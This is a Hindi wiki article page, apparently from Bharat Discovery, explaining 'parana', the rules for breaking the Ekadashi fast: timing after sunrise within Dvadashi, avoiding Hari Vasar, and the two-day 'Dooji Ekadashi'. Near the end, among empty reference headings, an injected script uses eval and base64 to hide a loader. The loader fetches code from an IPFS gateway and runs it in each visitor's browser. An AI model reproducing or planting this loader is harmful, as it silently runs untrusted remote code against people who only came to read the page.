पारण

भारत डिस्कवरी प्रस्तुति
Revision as of 07:51, 16 January 2015 by रविन्द्र प्रसाद (talk | contribs) (''''पारण''' एकादशी के व्रत को समाप्त करने को कहा जाता है...' के साथ नया पन्ना बनाया)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search

पारण एकादशी के व्रत को समाप्त करने को कहा जाता है। एकादशी व्रत के अगले दिन सूर्योदय के बाद 'पारण' किया जाता है। एकादशी व्रत का पारण द्वादशी तिथि समाप्त होने से पहले करना अति आवश्यक है। यदि द्वादशी तिथि सूर्योदय से पहले समाप्त हो गयी हो तो एकादशी व्रत का पारण सूर्योदय के बाद ही होता है। द्वादशी तिथि के भीतर पारण न करना पाप करने के समान समझा जाता है।

  • एकादशी व्रत का पारण हरि वासर के दौरान भी नहीं करना चाहिए। जो श्रद्धालु व्रत कर रहे होते हैं, उन्हें व्रत तोड़ने से पहले हरि वासर समाप्त होने की प्रतिक्षा करनी चाहिए। हरि वासर द्वादशी तिथि की पहली एक चौथाई अवधि है।
  • व्रत तोड़ने के लिए सबसे उपयुक्त समय प्रातःकाल होता है। व्रत करने वाले श्रद्धालुओं को मध्याह्न के दौरान व्रत तोड़ने से बचना चाहिए। कुछ कारणों की वजह से अगर कोई प्रातःकाल पारण करने में सक्षम नहीं है तो उसे मध्याह्न के बाद पारण करना चाहिए।
  • कभी-कभी एकादशी का व्रत लगातार दो दिनों के लिए हो जाता है। जब एकादशी व्रत दो दिन होता है, तब स्मार्त-परिवारजनों को पहले दिन एकादशी व्रत करना चाहिए। दुसरे दिन वाली एकादशी को 'दूजी एकादशी' कहते हैं।
  • सन्यासियों, विधवाओं और मोक्ष प्राप्ति के इच्छुक श्रद्धालुओं को 'दूजी एकादशी' के दिन व्रत करना चाहिए।
  • जब-जब एकादशी व्रत दो दिन होता है, तब-तब 'दूजी एकादशी' और 'वैष्णव एकादशी' एक ही दिन होती हैं।


  1. REDIRECTसाँचा:इन्हें भी देखें


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः